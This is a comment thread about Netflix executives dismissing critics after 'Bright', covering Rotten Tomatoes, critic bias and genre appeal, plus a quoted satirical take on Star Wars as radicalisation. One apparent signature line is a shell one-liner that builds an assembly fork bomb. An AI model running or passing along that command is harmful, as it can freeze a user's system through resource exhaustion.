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Netflix Executives Say 'Bright' Success Proves Film Critics Are 'Disconnected From Mass Appeal' (indiewire.com)
Last month, movie critics slammed David Ayer and Will Smith's Netflix tentpole "Bright" movie. At present, it has less than 30 percent rating on Rotten Tomatoes. But Netflix executives aren't worried. From a report on IndieWire: The abysmal reviews couldn't stop "Bright" from becoming a humongous hit on Netflix and earning a sequel. [...] According to both Netlfix bosses, "Bright's" success is proof that film critics don't matter as much when they're trying to tap into a global audience. "Critics are an important part of the artistic process, but [they are] pretty disconnected from the commercial prospects of a film," chief content officer Sarandos said. "[Film critics] speak to specific audiences who care about quality, or how objectively good or bad a movie is -- not the masses who are critical for determining whether a film makes money." CEO Hastings, chimed in to add "The critics are pretty disconnected from the mass appeal." Do ratings on movie websites matter? It's not a new topic of discussion. Last year, legendary director, producer and screenwriter Martin Scorsese said he believes real movie goers don't care about Rotten Tomatoes. But some people, including especially in the same room as Scorsese, disagree. Brett Ratner, the Rush Hour director/producer who threw the financial weight of his RatPac Entertainment behind Batman v Superman: Dawn of Justice blamed Rotten Tomatoes for convincing people to not watch his movie. Along the same lines, DC fans were angry over Rotten Tomatoes's Justice League ratings .
I've seen it referenced in articles about movies, but other than that, I've not paid attention to it.
Do people really look at that to decide if they're going to the movies or not?
I just listen word of mouth of friends that have seen a movie and liked it.
Granted, I don't go OUT to a movie theater that often, it has to be something special that really warrants a MUCH larger screen than I have and better sound, and I have a pretty good set up at my place.
But anyway....not really that familiar with RT.
Light travels faster than sound. This is why some people appear bright until you hear them speak.........
praised by critics, not loved by trekkies, fans, the audience: https://www.rottentomatoes.com... 82% vs. 55%
Batman v superman and Bright rated equally on Rotten Tomatoes for Critics.
Bright rated significantly higher with audiences than Batman v Superman.
Bright had no history so it didn't even get rabid fans praising something with Batman as "can do no wrong" so the already lower score of Batman v Superman can be "downcorrected" too.
Bright was good. Batman v Superman was a messy turd of a movie.
Don't compare the two.
Critics in general are fairly worthless. The vast majority of the current crop (whether film, video game, etc.) thinks their job is to masturbate for a few paragraphs, show everyone how insightful and woke they are, and try to wow us with how much flowery language they can pack in. Long gone are the days where their job's chief concern was about whether the subject was something the audience would actually enjoy.
Netflix seems a bit of a special case. I've already payed for the service, so when they release anything that looks remotely appealing, I watch it. That doesn't make it a good movie, it just makes it the best thing on at the moment. Bright was a decent movie (better than 30% for sure), but it wasn't mindblowing. I probably wouldn't have bought a movie ticket. That said, I've been using moviepass, so theater-going has become more like Netflix for me. It doesn't have to be some anticipated summer blockbuster, just the best thing in theaters at the moment.
I enjoyed Bright, Warcraft and King Arthur, despite all 3 getting savaged by critics (and the latter two mostly being disappointments in the US or worldwide). The problem with these movies is they are not 4 quadrant tentpole movies. Warcraft and King Arthur especially were heavy fantasy, as opposed to Lord of the Rings which has broad appeal.
Bright and Warcraft had extensive fantasy world-building, and it's just not something that appeals to everyone. My wife walked in the room while I was watching Warcraft and rolled her eyes so hard I was afraid she'd faint. BUT THAT'S OKAY. Not every movie is for everyone, something that gets lost when comparing critic reviews to audiences. Ironman and the recent Spiderman had broad appeal across genders and age groups. The DC movies did not, but were enjoyed by the very audience the movie was geared towards.
It's not good enough to distill a movie to a single numeric value when there are so many disparate audiences. So the Netflix exec is entirely right: Bright can be both savaged by critics and loved by audiences, but what he might not realize is that it's not loved by ALL audiences, but by fans of this particular genre. What's great about a movie like Bright is that it went full-bore into its world-building and that's going to have lasting appeal to fantasy fans, as opposed to being watered down.
... the way corporate execs see movies or any other media is the problem. The reality is you have new kids and people being born into the world all the time of various degree's of intelligence and education levels. So just because a movie has commercial success doesn't mean it isn't bad. Most people are stupid so movies would tend to reflect the intelligence of the average human being on our planet. It's called lowest common denominator for a reason.
The same way most of us look back on early cartoons of our youth when we are older and can see how media corporations were exploiting the fact we were young and just born yesterday. Every 15-20 years another generation of "born yesterays" appears with no memory of the past, so everything is new and exciting it's part of the reason why movies for average quality because we are a short lived species, older people have had decades of experience to refine their tastes. Those people with refined tastes eventually die and are replaced. So there's and endless wave excellence and mediocrity as generations live and die.
The reality is without critics directors would not be able to maintain any kind of semblance of quality. Since it's usually people who are intelligent that are making movies for audiences less intelligent than themselves.
Which is also why McDonalds sells 6.5 million hamburgers every day.
The Bright "professional" critics were probably thinking:
"Finally a movie that if I trash talk it to boost my critic-cred, it won't endanger my invites to movie premiers and pre-screenings from the big studios"
I sometimes get a feeling that once one critic badmouths a movie, it sets of a chain reaction.
Other critics will parrot the majority. Some smart guy says a movie is bad because of X... well, I'm a smart guy too, so I should probably point that out as well. And it just spirals out of control, with a movie getting progressively worse in each review.
Or at least, other critics will look at a film through a new lens. They'll know someone said X, so they'll spend the entire movie looking for examples of X.
Being unbiased is hard. It's got to be even harder now than ever, now that everyone is connected via very immediate social networks. And you have a lot of amateurs on Youtube/etc. who are early enough in their careers that they haven't figured out their biases yet.
I actually thought Bright was okay. It's not a smart movie, but it's not dumb either. It was entertaining. It tried something new and had some flaws, but nothing major.
Years ago I used to go to the movies with a friend alot, often a couple of times a week for years. We would just turn up and see whatever was playing next.
From that experience I can say I became very much jaded about typical movies.
After watching so many movies where its almost the same story structure over and over it became hard to really enjoy most movies. You have seen almost the same movie countless times before. Anything that is visually different or told in another style or ANYTHING seemed much better.
Since then its made me think this is probably why critics and casual movie viewers don't have similar experiences.
If you eat donuts for a living you will critic aspects of a donut that a casual eater would never care about. Its not boring if you haven't seen the same story 100 times before.
I guess I’m part of the great unwashed masses, because I enjoyed Bright quite a bit. Perhaps because I didn’t view it as a standalone movie, but the introduction of a fantasy series.
Not sure what critics where expecting. The race and inequality allegories are not subtle, but they touch on a lot of issues. You could read too much into the privileged class of elves. Do they represent Jews? More likely they are intended to represent white privilege and/or the one-percent’ers. Do some races have innate advantages (brightness) that drive inequality? This is a harder question to answer. Very few humans or orcs have the Bright (magic) ability in the movie. In some ways the movie is very predictable, as a plus or minus it raises uncomfortable social questions (without resolution). Perhaps some of its low score is because it fails to give the perhaps mandatory expected PC answers that Hollywood’s seems to demand.
I found the obvious racial stereotypes the second Star Wars trilogy harder to overlook because they weren’t trying to make any comment about racial inequality, but just playing to stereotypes out of laziness and/or carelessness (hopefully not malice).
In general I find I usually agree with the critics scores more so than the audience scores, so this one surprised me. I suspect this is a movie that for whatever reason is liked or hated by many with little in between. Since critics have to watch all movies it gets a low score. People inclined to like fantasy and action movies self select in going to and giving a rating to this movie. Largely I think if you raise social issues, critics expect some kind suggested social change, whether realized by the protagonists or not.
Letter To Iran
Star Wars is the story about a farm boy getting radicalised by an ageing follower of an obscure religion and eventually taking part in a 9/11 style terrorist attack that destroys a military base.
https://decider.com/2015/12/11...
When we first meet Luke Skywalker, he's an orphaned farm boy with barely any friends, living with his Aunt and Uncle, and wanting to join the Galactic Academy like all the other guys his age. You see, Luke didn't become a space terrorist overnight, but he did exhibit signs that would make him a prime candidate for terrorist recruiters. The process of radicalization, as described by Anthony Stahelski in the Journal of Homeland Security, notes terrorists tend to:
* Come from families where the father is absent (check)
* Have difficulty forming relationships outside the home (check)
* Be attracted to groups offering acceptance and comradeship (checkmate)
Luke is just the kind of isolated disaffected young man that terror recruiters seek out.
Obi Wan - a religious fanatic with a history of looking for young boys to recruit and teach an extreme interpretation of the Force - is practically salivating when he stumbles upon Luke, knowing he's found a prime candidate for radicalization. Stahelski notes terror groups place a focus on depluralization, stripping away the recruit's membership from all groups and isolating them to increase their susceptibility to terrorist messaging. Within moments of meeting Luke, Obi-Wan tells Luke he must abandon his family and join him, going so far as telling a shocking lie that the Empire killed Luke's father, hoping to inspire Luke to a life of jihad.
Shocked and confused by this onslaught of terrorist brainwashing, Luke hurries home only to find the charred corpses of his aunt and uncle. The Empire's accidental harming of Luke's Aunt Beru and Uncle Owen can be directly compared to the casualties of President Obama's drone campaign, whose body count terrorists capitalize upon for recruitment. This is precisely what Obi-Wan does, preying upon Luke's emotional state to take him under his spell and towards a life of extremism.
Obi-Wan whisks Luke off to Mos Eisley using a Jedi mind trick to bypass security, knowing full well he likely appears on numerous terror no fly lists. After contracting a local drug smuggler for transportation, Obi-Wan and his newest Skywalker recruit are off. They are soon captured, however, and attempt an escape which culminates in a battle between Obi-Wan and Vader. During the fight, Obi-Wan notices Luke watching, and seeing an opportunity to fully inspire Luke to radicalize, says a Jedi prayer while committing suicide. Can you think of any other groups who try to inspire terrorism by yelling a prayer before a suicide attack?
Once Luke escapes and regroups with a terror sleeper cell, he joins them on an attack mission. As he nears his target, hearing Obi-Wan's words in his mind, Luke closes his eyes, says a prayer and bombs a space station, killing everyone aboard. Young Skywalker has proven himself a quick study in the ways of armed religious extremism.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
In 1977 my dad took me to see Star Wars. I was 10, he was 36. I loved it (even though I thought Darth Vader was a robot) but he was so floored we just stayed in the theatre and watched it a second time. (I guess you could get away with that sort of thing back then.)
What people sometimes fail to realize today, is that in 1977 we had never seen anything like that before. Dogfights in space (and yeah, we could see the matte lines sometimes). Imperial Star Destroyers. In 1977 it was simply incredible. Jaw-droppingly incredible.
Today you can see that sort of thing in the theatre every few months - But not back in 1977.